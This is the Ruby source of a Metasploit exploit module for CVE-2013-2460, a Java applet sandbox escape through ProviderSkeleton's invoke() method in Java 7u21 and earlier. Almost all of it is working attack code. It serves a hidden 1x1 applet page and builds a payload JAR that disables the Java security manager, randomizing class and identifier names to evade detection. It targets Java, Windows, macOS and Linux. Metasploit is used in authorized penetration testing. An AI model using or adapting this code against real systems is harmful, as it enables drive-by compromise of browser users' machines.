143 lines
4.3 KiB
Ruby
143 lines
4.3 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({ :javascript => false })
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EXPLOIT_STRING = "Exploit"
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def initialize( info = {} )
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super( update_info( info,
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'Name' => 'Java Applet ProviderSkeleton Insecure Invoke Method',
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'Description' => %q{
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This module abuses the insecure invoke() method of the ProviderSkeleton class that
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allows to call arbitrary static methods with user supplied arguments. The vulnerability
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affects Java version 7u21 and earlier.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory and also POC
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'Matthias Kaiser' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2013-2460' ],
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[ 'OSVDB', '94346' ],
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[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2013-1899847.html'],
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[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a' ],
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[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf' ],
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[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-61.zip' ]
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],
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'Platform' => [ 'java', 'win', 'osx', 'linux' ],
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'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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'Targets' =>
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[
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[ 'Generic (Java Payload)',
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{
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'Platform' => ['java'],
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'Arch' => ARCH_JAVA,
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}
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],
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[ 'Windows x86 (Native Payload)',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Mac OS X x86 (Native Payload)',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Linux x86 (Native Payload)',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 18 2013'
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))
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end
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def randomize_identifier_in_jar(jar, identifier)
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identifier_str = rand_text_alpha(identifier.length)
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jar.entries.each { |entry|
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entry.name.gsub!(identifier, identifier_str)
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entry.data = entry.data.gsub(identifier, identifier_str)
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}
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end
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def setup
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path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "Exploit.class")
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@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "ExpProvider.class")
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@provider_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "DisableSecurityManagerAction.class")
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@action_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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@exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length)
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@exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name)
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super
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end
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def on_request_uri(cli, request)
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print_status("handling request for #{request.uri}")
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case request.uri
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when /\.jar$/i
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jar = payload.encoded_jar
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jar.add_file("#{@exploit_class_name}.class", @exploit_class)
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jar.add_file("ExpProvider.class", @provider_class)
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jar.add_file("DisableSecurityManagerAction.class", @action_class)
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randomize_identifier_in_jar(jar, "metasploit")
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randomize_identifier_in_jar(jar, "payload")
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jar.build_manifest
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send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
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when /\/$/
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payload = regenerate_payload(cli)
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if not payload
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print_error("Failed to generate the payload.")
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send_not_found(cli)
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return
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end
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send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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else
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send_redirect(cli, get_resource() + '/', '')
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end
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end
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def generate_html
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html = %Q|
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<html>
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<body>
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<applet archive="#{rand_text_alpha(rand(5) + 3)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>
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</body>
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</html>
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return html
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end
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end
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